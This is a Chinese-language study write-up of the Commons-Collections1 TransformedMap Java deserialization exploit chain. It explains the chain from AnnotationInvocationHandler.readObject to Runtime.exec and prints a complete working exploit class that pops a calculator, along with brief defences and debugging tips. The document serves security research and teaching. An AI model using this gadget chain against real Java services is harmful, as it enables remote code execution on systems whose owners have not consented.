Java反序列化Commons-Collections1 TransformMap 版经验手记
字数 1776 2025-08-12 11:33:35
Java反序列化漏洞分析:Commons-Collections1 TransformMap版利用链
0x01 环境搭建
必要组件
- JDK版本: 必须使用JDK8u65 (更高版本如8u71已修复漏洞)
- 构建工具: Maven 3.6.3
- 依赖库: Commons-Collections 3.2.1
Maven配置
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
源码调试准备
- 下载openJDK 8u65源码
- 解压jdk8u65的src.zip
- 将openJDK中的sun文件夹拷贝到jdk8u65源码目录
- 在IDE中关联源码,将.class文件转换为可读的.java文件
0x02 Commons-Collections简介
Apache Commons Collections是对Java标准Collections API的扩展,提供了更多数据结构和工具类。主要包结构包括:
org.apache.commons.collections- 公共接口和工具类org.apache.commons.collections.functors- 自定义功能类org.apache.commons.collections.map- Map接口实现org.apache.commons.collections.transformer- 转换器相关
0x03 漏洞利用链分析
攻击链总体思路
- 入口点: 寻找可序列化类的
readObject方法 - 执行点: 找到能够执行命令的方法(如
Runtime.exec()) - 连接点: 构造从入口点到执行点的调用链
关键类分析
1. 命令执行终点 - InvokerTransformer
public class InvokerTransformer implements Transformer, Serializable {
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
}
利用方式:
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
.transform(Runtime.getRuntime());
2. 中间桥梁 - TransformedMap
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
通过TransformedMap.decorate()方法创建可触发transform的Map:
Map transformedMap = TransformedMap.decorate(new HashMap(), null, transformer);
3. 触发点 - AbstractInputCheckedMapDecorator.MapEntry
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
4. 入口类 - AnnotationInvocationHandler
private void readObject(ObjectInputStream var1) {
for (Map.Entry<String, Object> memberValue : this.memberValues.entrySet()) {
memberValue.setValue(...);
}
}
完整利用链
AnnotationInvocationHandler#readObject
-> AbstractInputCheckedMapDecorator.MapEntry#setValue
-> TransformedMap#checkSetValue
-> InvokerTransformer#transform
-> Runtime.exec()
0x04 EXP构造过程
1. 基础PoC
// 直接调用InvokerTransformer执行命令
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
2. 结合TransformedMap
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
// 通过反射调用checkSetValue
Method checkSetValueMethod = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.invoke(decorateMap, runtime);
3. 解决Runtime不可序列化问题
使用ChainedTransformer链式调用:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
4. 解决AnnotationInvocationHandler限制
- 使用
Target.class代替Override.class(因为Target有value成员) - 添加ConstantTransformer确保参数可控
5. 最终EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class TransformMapEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
// 序列化
serialize(o);
// 反序列化触发漏洞
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
0x05 关键点总结
- 版本要求:必须使用JDK8u65及Commons-Collections 3.2.1
- 利用链组成:
- 入口:
AnnotationInvocationHandler.readObject() - 触发:
MapEntry.setValue() - 转换:
TransformedMap.checkSetValue() - 执行:
InvokerTransformer.transform()
- 入口:
- 关键技术:
- 使用
ChainedTransformer解决Runtime不可序列化问题 - 使用
ConstantTransformer确保参数可控 - 选择
Target.class作为Annotation类型
- 使用
- 防御措施:
- 升级JDK版本
- 升级Commons-Collections库
- 使用反序列化过滤器
0x06 调试技巧
-
关键断点位置:
AnnotationInvocationHandler.readObject()中的if判断AbstractInputCheckedMapDecorator.MapEntry.setValue()TransformedMap.checkSetValue()InvokerTransformer.transform()
-
调试时注意观察:
- memberType的值变化
- setValue的参数传递过程
- transformer链的执行顺序
通过本文详细分析,读者可以深入理解Commons-Collections反序列化漏洞的原理和利用方式,为后续的安全研究和防御工作打下坚实基础。